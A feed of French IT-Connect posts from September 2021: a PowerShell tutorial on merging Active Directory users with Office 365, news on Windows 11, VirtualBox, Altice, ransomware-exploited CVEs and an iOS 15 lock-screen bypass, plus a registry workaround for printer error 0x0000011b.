<p>Rendez-vous dans l'Active Directory... Dans les propriétés de l'utilisateur. Voici ce que j'ai au sein de l'onglet "<em>Compte</em>".</p>
<p><img class="aligncenter size-full wp-image-46018" src="media/ec85456c.office-365-active-directory-merge-utilisateur-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-02.png" alt="" width="488" height="518" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-02.png 488w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-02-141x150.png 141w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-02-151x160.png 151w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-02-47x50.png 47w" sizes="(max-width: 488px) 100vw, 488px" /></p>
<p><strong>Mauvaise nouvelle : la valeur n'est pas bonne, car le domaine ne correspond pas.</strong> Il faut donc modifier le domaine @it-connect.local par @it-connect.fr. Si vous ne pouvez pas changer de domaine, <strong>vous devez déclarer un nouveau suffixe UPN correspondant à votre domaine de message.</strong></p>
<ul>
<li><a href="https://www.it-connect.fr/active-directory-comment-ajouter-un-suffixe-upn/" target="_blank" rel="noopener">Ajouter un suffixe UPN à l'Active Directory</a></li>
</ul>
<p>Ensuite, il suffit de modifier le compte Active Directory avec le bon domaine puisque la première partie de l'identifiant est correcte. Voici le résultat.</p>
<p><img class="aligncenter size-full wp-image-46019" src="media/21f41e2d.office-365-active-directory-merge-utilisateur-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-03.png" alt="" width="487" height="224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-03.png 487w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-03-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-03-160x74.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-03-50x23.png 50w" sizes="(max-width: 487px) 100vw, 487px" /></p>
<p><strong>Note</strong> : si vos utilisateurs se connectent sur les postes avec le nom court (sans @domaine.local), ce changement n'aura pas d'impact. Par contre, un utilisateur qui se connecte sur un PC avec son UPN sera perturbé et vous devez l'avertir de ce changement.</p>
<p>Pour finir avant de passer à l'attribut proxyAddresses, voici comment effectuer les vérifications de l'UPN avec PowerShell (et le module Active Directory).</p>
<pre>Get-ADUser -Identity &lt;login&gt;
Get-ADUser -Identity florian.o365</pre>
<p>Cette commande retourne bien la valeur de l'UPN :</p>
<p><img class="aligncenter size-full wp-image-46020" src="media/b6771c90.office-365-active-directory-merge-utilisateur-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04.png" alt="" width="800" height="195" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04-550x134.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04-150x37.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04-768x187.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04-160x39.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-04-50x12.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour le modifier en PowerShell, il faudra faire :</p>
<pre>Set-ADUser -Identity "<span style="color: #00ffff;">florian.o365</span>" -UserPrincipalName "florian.o365@it-connect.fr"</pre>
<p>Voilà, le tour est joué !</p>
<h3>B. Mise à jour de l'attribut proxyAddresses</h3>
<p>Le champ <strong>proxyAddresses</strong> est caché dans l'onglet "<em>Editeur d'attributs</em>" de chaque compte utilisateur de l'Active Directory. Parfois méconnu, il est pourtant très important ! Il sert à <strong>définir l'adresse e-mail principale d'un utilisateur</strong>, mais aussi ses éventuels alias de messagerie.</p>
<p>Dans un scénario comme celui-ci, il est fort possible que cette valeur soit vide, car il n'y avait pas d'intérêt à compléter ce champ. En tout cas, ça c'était avant, car maintenant nous en avons besoin.</p>
<p>Si l'on reprend le compte "<em>florian.o365@it-connect.fr</em>", on sait que l'adresse de messagerie de cet utilisateur est "<em>florian.o365@it-connect.fr</em>" (identique à l'UPN, mais ce n'est pas une obligation). On peut récupérer cette information via le portail Web, mais aussi en PowerShell :</p>
<pre>Get-MsolUser -UserPrincipalName "<span style="color: #00ffff;">florian.o365@batimentcfanormandie.fr</span>" | Ft userPrincipalName,proxyAddresses</pre>
<p>ou</p>
<pre>(Get-MsolUser -UserPrincipalName "<span style="color: #00ffff;">florian.o365@batimentcfanormandie.fr</span>").proxyAddresses</pre>
<p>Il va falloir que l'on injecte cette valeur dans l'attribut proxyAddresses, au niveau de l'AD. Rendez-vous dans les propriétés du compte : <strong>Editeur d'attributs</strong> (nécessite d'activer : <em>Affichage &gt; Fonctionnalités avancées</em> dans le menu de la console) &gt; <strong>proxyAddresses</strong> &gt; <strong>Modifier</strong>.</p>
<p>Pour déclarer l'adresse e-mail principale du compte, il faut utiliser cette syntaxe :</p>
<pre>SMTP:florian.o365@it-connect.fr</pre>
<p><strong>C'est important d'écrire "SMTP" en majuscules pour dire qu'il s'agit de l'e-mail principale.</strong> Si l'on écrit "smtp" en minuscules, cela sert à déclarer un alias. Pour la fusion, c'est bien l'adresse e-mail principale qui est utile.</p>
<p>Voici un exemple :</p>
<p><img class="aligncenter size-full wp-image-46021" src="media/3ecfcfd3.office-365-active-directory-merge-utilisateur-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05.png" alt="" width="786" height="557" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05.png 786w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05-550x390.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05-150x106.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05-768x544.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05-160x113.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-05-50x35.png 50w" sizes="(max-width: 786px) 100vw, 786px" /></p>
<p>Comme tout à l'heure, on peut le faire en PowerShell. Lire la valeur actuelle :</p>
<pre>Get-ADUser -Identity "<span style="color: #00ffff;">florian.o365</span>" -Properties proxyAddresses | Format-Table userPrincipalName,proxyAddresses</pre>
<p>Injecter la nouvelle valeur pour cet attribut en écrasant une éventuelle valeur existante :</p>
<pre>Set-ADUser -Identity "<span style="color: #00ffff;">florian.o365</span>" -Replace @{proxyAddresses="<span style="color: #00ffff;">SMTP:florian.o365@it-connect.fr</span>"}</pre>
<p>Je vous recommande aussi de mettre à jour l'attribut "mail" qui contient l'adresse e-mail. En fait, cela facilite la configuration d'Outlook pour remonter l'adresse e-mail directement, c'est plus agréable pour l'utilisateur final.</p>
<p>Voici la commande PowerShell :</p>
<pre>Set-ADUser -Identity "<span style="color: #00ffff;">florian.o365</span>" -EmailAddress "<span style="color: #00ffff;">florian.o365@it-connect.fr</span>"</pre>
<p><strong>Voilà, le compte de notre utilisateur est prêt ! Nous allons pouvoir le synchroniser pour qu'il soit fusionné avec le compte Office 365 !</strong></p>
<h3>C. Déclencher la fusion du compte utilisateur</h3>
<p>Dernière étape du processus : la synchronisation qui doit donner lieu à la fusion. Avant de poursuive, lisez ce qui suit :<strong> les informations du compte de l'Active Directory local vont venir écraser les informations du compte côté Office 365 au moment de la fusion.</strong> Cela signifie que le mot de passe du compte AD local va devenir le mot de passe de l'utilisateur côté Office 365 également.</p>
<p>Si c'est OK pour vous, prenez le compte utilisateur dans l'AD et déplacez-le dans une OU qui est synchronisée avec Azure AD Connect. Une fois que c'est fait, rendez-vous sur le serveur où est installé Azure AD Connect pour forcer une synchronisation, cela évitera d'attendre :</p>
<pre>Start-ADSyncSyncCycle -PolicyType Delta</pre>
<p>Vous n'avez plus qu'à regarder sur le portail Web d'Office 365 pour voir ce que ça donne. Quand le compte sera fusionné, l'icône va changer : le petit nuage va laisser place à l'icône de synchronisation. Et comme ça fonctionne, c'est vous qui êtes sur un petit nuage. <img src="media/14cb941f.1f609.png" data-original-source="https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><img class="aligncenter size-full wp-image-46022" src="media/d67885e1.office-365-active-directory-merge-utilisateur-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-06.png" alt="" width="416" height="98" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-06.png 416w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-06-150x35.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-06-160x38.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/office-365-active-directory-merge-utilisateur-06-50x12.png 50w" sizes="(max-width: 416px) 100vw, 416px" /></p>
<p>Sans plus attendre, vérifiez les différentes valeurs pour voir si tout est bien conforme. Vérifiez également que la connexion au compte fonctionne : autant tout tester jusqu'au bout pour ce premier essai.</p>
<p>Si la correspondance n'est pas complète (UPN pas égaux, par exemple), la fusion pourra s'effectuer malgré tout, mais ce ne sera pas concluant. Par exemple, vous pouvez vous retrouver avec un nom d'utilisateur Office 365 qui prend le domaine "<em>votre-domaine.onmicrosoft.com</em>".</p>
<p><strong>Avant d'effectuer la fusion sur un ou plusieurs comptes, je vous recommande fortement d'effectuer un essai avec un utilisateur de test pour valider le processus.</strong> Voilà, c'était le mot de la fin.</p>The post <a href="https://www.it-connect.fr/comment-fusionner-un-utilisateur-de-lad-local-avec-un-compte-office-365/">Comment fusionner un utilisateur de l’AD local avec un compte Office 365 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46278
title: Pour le moment, Windows 11 n’est plus compatible avec VirtualBox !
uri: Pour-le-moment-Windows-11-n-est-plus-compatible-avec-VirtualBox
url: https://www.it-connect.fr/pour-le-moment-windows-11-nest-plus-compatible-avec-virtualbox/
content:
<p><strong>Suite à un changement opéré par Microsoft, le système Windows 11 ne peut plus être installé au sein d'une machine virtuelle Oracle VirtualBox à cause un problème de compatibilité !</strong></p>
<p>Je ne vais pas répéter toute l'histoire, mais souvenez-vous des prérequis de Windows 11 imposés par Microsoft et notamment la nécessité d'avoir une puce TPM 2.0 et le Secure Boot. La puce TPM 2.0 avait beaucoup fait parler d'elle, et vous allez vite comprendre qu'elle est à l'origine de ce problème au sein de VirtualBox.</p>
<p>Jusqu'ici, lorsque Windows 11 était installé à partir de zéro ou via une mise à niveau depuis Windows 10 au sein d'une machine virtuelle, <strong>il ne vérifiait pas si la machine physique respectait les prérequis.</strong> Microsoft ayant conscience que les machines virtuelles Windows 11 sont là pour réaliser des tests dans la majorité des cas.</p>
<p>Le problème, c'est que la donne vient de changer : sans prévenir, la firme de Redmond a décidé d'<strong>appliquer la vérification des prérequis matériels au sein des machines virtuelles. </strong>Ces prérequis sont les mêmes que pour une machine physique. Si la machine physique est compatible, la machine virtuelle devrait s'installer sans difficulté. Cependant, il y a un cas particulier : VirtualBox.</p>
<p>Pour VMware Workstation, Hyper-V, Parallels et QEMU, il n'y a pas de problème puisque le Secure Boot est pris en charge, tout comme l'accès à la puce TPM depuis la machine virtuelle. Par contre, <strong>VirtualBox ne supporte pas ces fonctions pour le moment !</strong> Ce qui fait qu'il n'est plus possible d'installer Windows 11 dans une VM VirtualBox, même si la configuration physique de la machine respecte les prérequis Windows 11.</p>
<p><strong>Les développeurs de VirtualBox travaillent sur un correctif, ce qui passera par un pilote pour permettre l'interaction entre la puce TPM et la VM.</strong> Pour le moment, nous ne savons pas quand ce fameux pilote sera prêt. Espérons que ce soit avant la sortie officielle de Windows 11, le 5 octobre prochain.</p>
<p><a href="https://www.bleepingcomputer.com/news/microsoft/windows-11-is-no-longer-compatible-with-oracle-virtualbox-vms/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/pour-le-moment-windows-11-nest-plus-compatible-avec-virtualbox/">Pour le moment, Windows 11 n’est plus compatible avec VirtualBox !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46290
title: Altice (SFR) s’offre Coriolis Télécom pour 415 millions d’euros
uri: Altice-(SFR)-s-offre-Coriolis-Télécom-pour-415-millions-d-euros
url: https://www.it-connect.fr/altice-sfr-soffre-coriolis-telecom-pour-415-millions-deuros/
content:
<p><strong>L'opérateur Coriolis Télécom va devenir la propriété d'Altice, la maison mère de SFR, pour un montant de 415 millions. L'occasion de récupérer les 500 000 clients de cet opérateur.</strong></p>
<p>Coriolis Telecom fait partie des opérateurs virtuels qui exploitent le réseau des grands opérateurs français : SFR, Bouygues Télécom, Free, et bien sûr Orange. D'ailleurs, <strong>Coriolis s'appuie sur les réseaux de SFR et d'Orange</strong>.</p>
<p>Dans un communiqué publié ce lundi, nous apprenons qu'Altice a signé un accord d'exclusivité pour le rachat de Coriolis Télécom. Le montant de l'opération s'élève à 415 millions d'euros : 298 millions au moment de l'acquisition, puis 117 millions dans un second temps. Une transaction qui devrait être finalisée au premier semestre 2022.</p>
<p>De son côté, Coriolis Télécom est un opérateur présent depuis 1999 et qui, aujourd'hui, pèse sur le marché avec<strong> ses 500 000 clients particuliers</strong> et <strong>ses 30 000 clients professionnels</strong>.</p>
<p>Reste à savoir si, par la suite, Coriolis Télécom va continuer à s'appuyer sur les réseaux de SFR et d'Orange, ou s'il y aura un transfert total sur le réseau de SFR. C'est probablement vers cette direction que l'on s'oriente. Nous ne savons pas également si <strong>Coriolis conservera sa propre identité commerciale ou si elle sera absorbée totalement par SFR</strong>.</p>
<p>Je vous laisse en compagnie du tweet et du communiqué de presse.</p>
<blockquote class="twitter-tweet">
<p dir="ltr" lang="fr">Altice France signe un accord d’exclusivité pour l’acquisition de <a href="https://twitter.com/CoriolisTelecom?ref_src=twsrc%5Etfw">@CoriolisTelecom</a> <a href="https://t.co/efyL9othZp">pic.twitter.com/efyL9othZp</a></p>
<p>— Altice France (@AlticeFrance) <a href="https://twitter.com/AlticeFrance/status/1439853073288122372?ref_src=twsrc%5Etfw">September 20, 2021</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>The post <a href="https://www.it-connect.fr/altice-sfr-soffre-coriolis-telecom-pour-415-millions-deuros/">Altice (SFR) s’offre Coriolis Télécom pour 415 millions d’euros</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46310
title: Ransomwares : voici les vulnérabilités exploitées par les pirates en 2021
uri: Ransomwares-voici-les-vulnérabilités-exploitées-par-les-pirates-e
url: https://www.it-connect.fr/ransomwares-voici-les-vulnerabilites-exploitees-par-les-pirates-en-2021/
content:
<p><strong>Des chercheurs en sécurité ont créé une liste des vulnérabilités les plus exploitées par les pirates pour pénétrer le réseau d'une entreprise dans le but d'exécuter un ransomware. Une excellente initiative !</strong></p>
<p>Tout a commencé sur Twitter, ce week-end, suite à l'annonce passée par un membre de l'équipe de Recorded Future. Ensuite, d'autres chercheurs en sécurité ont participé à la constitution de cette liste très utile et qui s'est agrandie très rapidement ! Au final, <strong><a href="https://twitter.com/uuallan/status/1438899102448820224" target="_blank" rel="nofollow noopener">cette liste</a> est constituée de 42 vulnérabilités réparties au sein de 17 produits différents</strong>.</p>
<figure id="attachment_46311" aria-describedby="caption-attachment-46311" style="width: 623px" class="wp-caption aligncenter"><img class="wp-image-46311 size-full" src="media/c9f77d47.ransomware-liste-cve-par-produits.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/ransomware-liste-cve-par-produits.jpg" alt="" width="623" height="467" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/ransomware-liste-cve-par-produits.jpg 623w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/ransomware-liste-cve-par-produits-550x412.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/ransomware-liste-cve-par-produits-150x112.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/ransomware-liste-cve-par-produits-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/ransomware-liste-cve-par-produits-50x37.jpg 50w" sizes="(max-width: 623px) 100vw, 623px" /><figcaption id="caption-attachment-46311" class="wp-caption-text">Source : Twitter / Allan Liska</figcaption></figure>
<p>Une synthèse intéressante pour obtenir <strong>une liste des vulnérabilités exploitées par les groupes de hackers en 2021</strong>. Elle présente l'avantage de permettre d'identifier facilement les produits que l'on utilise au sein de son infrastructure ou chez ses clients.</p>
<p>Nous retrouvons des vulnérabilités connues et qui ont fait beaucoup parler d'elles ces derniers mois. Par exemple, il y a la <a href="https://www.it-connect.fr/attention-a-cette-faille-0-day-dans-internet-explorer-qui-affecte-office/" target="_blank" rel="noopener">vulnérabilité dans le moteur MSHTML</a> d'Internet Explorer (et qui touche Office), corrigée dernièrement à l'occasion du <a href="https://www.it-connect.fr/patch-tuesday-septembre-2021-60-vulnerabilites-et-2-zero-day-corrigees/" target="_blank" rel="noopener">Patch Tuesday de Septembre 2021</a>.</p>
<p>On peut également citer la vulnérabilité <a href="https://www.it-connect.fr/lockfile-un-nouveau-ransomware-qui-exploite-les-failles-proxyshell-et-petitpotam/" target="_blank" rel="noopener">PetitPotam</a>, exploitée par le ransomware LockFile, ainsi que le ransomware <a href="https://www.it-connect.fr/le-ransomware-echoraix-sattaque-activement-aux-nas-qnap/" target="_blank" rel="noopener">eChoraix</a> qui s'est attaqué aux NAS QNAP et Synology.</p>
<p>Sans oublier les trois failles de sécurité nommées "<a href="https://www.it-connect.fr/microsoft-exchange-et-proxyshell-des-attaques-sont-en-cours-en-france/" target="_blank" rel="noopener">ProxyShell</a>" et qui touchent les serveurs de messagerie Microsoft Exchange. D'ailleurs, fin août il y a eu des attaques ciblées en France où les pirates cherchaient à exploiter ces failles de sécurité. Encore plus récemment, c'est le ransomware Conti qui s'appuyait sur ses vulnérabilités.</p>
<p>On retrouve aussi la faille de sécurité <a href="https://www.it-connect.fr/fortinet-500-000-identifiants-de-connexion-vpn-ont-fuite-sur-un-forum/" target="_blank" rel="noopener">CVE-2018-13379 de FortiOS</a> et qui a beaucoup fait parler d'elle il y a quelques jours, malgré qu'elle soit corrigée par Fortinet depuis bien longtemps.</p>
<p>Si vous suivez régulièrement l'actualité sur le site, vous avez déjà entendu parler de certaines de ces vulnérabilités, même si le nom "CVE" n'est pas spécialement parlant.</p>
<p><a href="https://www.bleepingcomputer.com/news/security/researchers-compile-list-of-vulnerabilities-abused-by-ransomware-gangs/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/ransomwares-voici-les-vulnerabilites-exploitees-par-les-pirates-en-2021/">Ransomwares : voici les vulnérabilités exploitées par les pirates en 2021</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46315
title: Windows et les impressions : comment corriger l’erreur 0x0000011b ?
uri: Windows-et-les-impressions-comment-corriger-l-erreur-0x0000011b
url: https://www.it-connect.fr/windows-et-les-impressions-comment-corriger-lerreur-0x0000011b/
content:
<p><strong>Depuis quelques jours, les imprimantes réseau donnent du fil à retordre aux administrateurs système. La faute au dernier Patch Tuesday par Microsoft qui force l'activation d'un paramètre pour vous protéger contre la faille CVE-2021-1678.</strong></p>
<ul>
<li><a href="https://www.it-connect.fr/windows-la-mise-a-jour-de-septembre-cree-des-problemes-avec-les-impressions/" target="_blank" rel="noopener">Windows : la mise à jour de septembre crée des problèmes avec les impressions !</a></li>
</ul>
<p>En janvier 2021, Microsoft a publié un correctif pour patcher la faille de sécurité <strong>CVE-2021-1678</strong> dans le Spouleur d'impression de Windows. Cependant, il était pris en charge, mais inactif jusqu'ici, mais avec la sortie de ce Patch Tuesday de septembre 2021, le paramètre est automatiquement appliqué. Résultat, de gros problèmes d'impression sur les imprimantes connectées en réseau et à la clé <strong>une erreur 0x0000011b</strong>.</p>
<p>Ce paramètre se situe dans le Registre, se nomme<strong> "</strong><b class="ocpLegacyBold x-hidden-focus">RpcAuthnLevelPrivacyEnabled" </b>et il sert à augmenter le niveau de sécurité requis pour les impressions réseau. Lorsque ce paramètre a pour valeur "1", ce qui est le cas si vous avez installé la mise à jour de septembre, la sécurité est appliqué afin de vous protéger contre la faille CVE-2021-1678. Par contre, vous héritez aussi des problèmes d'impression.</p>
<p>Pour le moment,<strong> nous vous recommandons de basculer cette valeur à "0" au lieu de "1"</strong>. Certes, <strong>vous ne serez plus protégé contre la faille de sécurité CVE-2021-1678</strong>, mais elle ne semble pas activement exploitée. Cela présente l'avantage de <strong>faire fonctionner les impressions sans pour autant désinstaller le patch cumulatif de septembre</strong>. En attendant que Microsoft propose une solution.</p>
<p>Alors si vous souhaitez vous débarrasser de l'<strong>erreur 0x0000011b</strong>, ouvrez le Registre et naviguez à cet emplacement :</p>
<pre>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print</pre>
<p>Si la valeur "<strong>RpcAuthnLevelPrivacyEnabled</strong>" n'existe pas, vous devez la<strong> créer au format DWORD-32</strong> manuellement à partir de l'éditeur de Registre. Lorsque c'est fait, vous devez lui attribuer <strong>la valeur 0</strong>. La mise à jour de septembre ne viendra pas remplacer ou écraser la valeur de la clé si elle existe déjà.</p>
<p><strong> Voilà, vous devriez pouvoir imprimer, et respirer un peu !</strong></p>
<p><em>Merci à @Gilles Delcourt d'avoir relayé cette solution.</em></p>The post <a href="https://www.it-connect.fr/windows-et-les-impressions-comment-corriger-lerreur-0x0000011b/">Windows et les impressions : comment corriger l’erreur 0x0000011b ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46364
title: Mon PC est-il compatible Windows 11 ? Microsoft remet en ligne son outil !
uri: Mon-PC-est-il-compatible-Windows-11-Microsoft-remet-en-ligne-son-out
url: https://www.it-connect.fr/mon-pc-est-il-compatible-windows-11-microsoft-remet-en-ligne-son-outil/
content:
<p><strong>Microsoft a remis en ligne son outil PC Health Check qui permet de vérifier si votre machine est compatible avec Windows 11. Cette fois-ci, il fournit des informations précises dans le cas où votre machine ne respecte pas un ou plusieurs prérequis.</strong></p>
<p>Lorsque Microsoft a annoncé Windows 11, un outil avait été mis en ligne pour nous permettre de vérifier si notre machine était compatible avec son futur système d'exploitation. Le problème, c'est que si la machine était incompatible, le logiciel n'indiquait pas pourquoi. Autrement dit, il n'était pas très utile et heureusement que des développeurs indépendants ont publié un autre outil en seulement quelques heures : <a href="https://www.it-connect.fr/verifiez-si-votre-pc-est-compatible-windows-11-avec-whynotwin11/" target="_blank" rel="noopener">WhyNotWin11</a>.</p>
<p>La communauté a très largement critiqué cet outil, à juste titre d'ailleurs, alors la firme de Redmond a pris le temps de développer une nouvelle mouture. <strong>Cette semaine, Microsoft a - discrètement - mis en ligne une nouvelle version de son outil PC Health Check.</strong> Cette fois-ci, l'outil explique pourquoi la machine n'est pas compatible avec Windows 11, si c'est le cas.</p>
<p><img class="aligncenter size-full wp-image-46365" src="media/6ac58c58.windows-11-pc-health-check-nouvelle-version.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/windows-11-pc-health-check-nouvelle-version.jpg" alt="" width="600" height="492" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/windows-11-pc-health-check-nouvelle-version.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/windows-11-pc-health-check-nouvelle-version-550x451.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/windows-11-pc-health-check-nouvelle-version-150x123.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/windows-11-pc-health-check-nouvelle-version-160x131.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/windows-11-pc-health-check-nouvelle-version-50x41.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Par exemple, c'est précisé si le processeur n'est pas supporté par Windows 11, mais aussi s'il y a un problème au sujet de la puce TPM 2.0. Si l'outil détecte bien la puce TPM, il suffira simplement de l'activer dans le BIOS de votre machine. Pour chaque élément, un lien est intégré pour permettre à l'utilisateur d'obtenir des informations complémentaires.</p>
<p>C'est l'heure de faire une dernière vérification avant la sortie officielle de Windows 11, prévue le 5 octobre prochain. Vous pouvez télécharger l'outil en suivant ce lien (tout en bas de la page) : <a href="https://www.microsoft.com/en-us/windows/windows-11" target="_blank" rel="nofollow noopener">Télécharger PC Health Check</a></p>
<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-pc-health-check-adds-detailed-windows-11-compatibility-info/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/mon-pc-est-il-compatible-windows-11-microsoft-remet-en-ligne-son-outil/">Mon PC est-il compatible Windows 11 ? Microsoft remet en ligne son outil !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46359
title: Apple – iOS 15 : à peine sortie, son écran de verrouillage déjà contourné !
uri: Apple-iOS-15-à-peine-sortie-son-écran-de-verrouillage-déjà
url: https://www.it-connect.fr/apple-ios-15-a-peine-sortie-son-ecran-de-verrouillage-deja-contourne/
content:
<p><strong>Alors qu'Apple vient tout juste de dévoiler iOS 15, la nouvelle version de son système d'exploitation pour mobile, un chercheur en sécurité est déjà parvenu à contourner l'écran de verrouillage !</strong></p>
<p>Il s'appelle Jose Rodriguez et il est énervé contre Apple. Pour le faire savoir, il a publié une vidéo sur YouTube où il montre comment il est parvenu à contourner l'écran de verrouillage d'iOS 15. Pour cela, il a exploité Siri et la fonction VoiceOver afin d'accéder aux notes de l'appareil et de les envoyer par SMS : un enchaînement astucieux. <strong>Le jour de la sortie d'iOS 15, ce n'est pas une bonne publicité pour Apple !</strong></p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/5L2uVg8FDBs" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p><strong>Mais, pourquoi est-il énervé ?</strong> Selon lui, Apple lui doit de l'argent ou en tout cas, la firme à la pomme ne s'est pas montrée suffisamment généreuse. Il a remonté un bug de sécurité dans le cadre du programme Bug Bounty d'Apple et<strong> il a reçu une récompense de 5 000 dollars.</strong> Une récompense injuste, car pour des problèmes de sécurité moins graves,<strong> la prime serait de 25 000 dollars</strong>. Son travail n'aurait pas été récompensé à sa juste valeur.</p>
<p>D'après lui, <strong>Apple n'aurait pas corrigé entièrement le problème de sécurité</strong> et ne lui aurait pas demandé de vérifier si le correctif était efficace. Aucune référence CVE n'est communiquée à ce sujet.</p>
<p><strong>Quelques nouveautés d'iOS 15...</strong></p>
<p>Avec iOS 15, Apple a introduit de nouvelles fonctionnalités, notamment "<strong>LiveText</strong>" qui s'appuie sur l'OCR (reconnaissance de caractères) pour vous permettre de récupérer facilement le texte d'une carte de visite, d'un plan, d'une page de journal, etc.</p>
<p>Par ailleurs, l'application "<strong>Concentration</strong>" vous permettra de vous concentrer sans être perturbé par les notifications de votre iPhone. Lorsque ce mode est actif, seulement les contacts et les applications autorisées pourront émettre une notification sur votre appareil, tout en sachant que le mode peut être activé automatiquement à une heure précise.</p>
<p>Enfin, <strong>Apple a amélioré FaceTime en intégrant SharePlay</strong>, une fonctionnalité qui permet de partager son écran à des amis à distance dans le but de partager du contenu, comme une vidéo, par exemple. Mais ce n'est pas tout ! Désormais, <strong>FaceTime offre la possibilité de créer un lien pour inviter des contacts à rejoindre un appel vidéo</strong>, que ce soit des personnes avec un iPhone ou un iPad, et même des personnes avec un appareil sous Android (dans ce cas, la connexion s'effectue via un navigateur).</p>
<p><a href="https://www.01net.com/actualites/ios15-l-ecran-de-verrouillage-peut-deja-etre-contourne-2048586.html" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/apple-ios-15-a-peine-sortie-son-ecran-de-verrouillage-deja-contourne/">Apple – iOS 15 : à peine sortie, son écran de verrouillage déjà contourné !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46210
title: Améliorez la gestion des mots de passe dans l’AD avec Specops Password Policy
uri: Améliorez-la-gestion-des-mots-de-passe-dans-l-AD-avec-Specops-Passw
url:
https://www.it-connect.fr/ameliorez-la-gestion-des-mots-de-passe-dans-lad-avec-specops-password-policy/

content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, nous allons découvrir le logiciel Specops Password Policy. Il va permettre de mettre en place des politiques de mots de passe très flexibles au niveau de l'Active Directory et d'accompagner les utilisateurs pour le renouvellement de leur mot de passe.</strong></p>
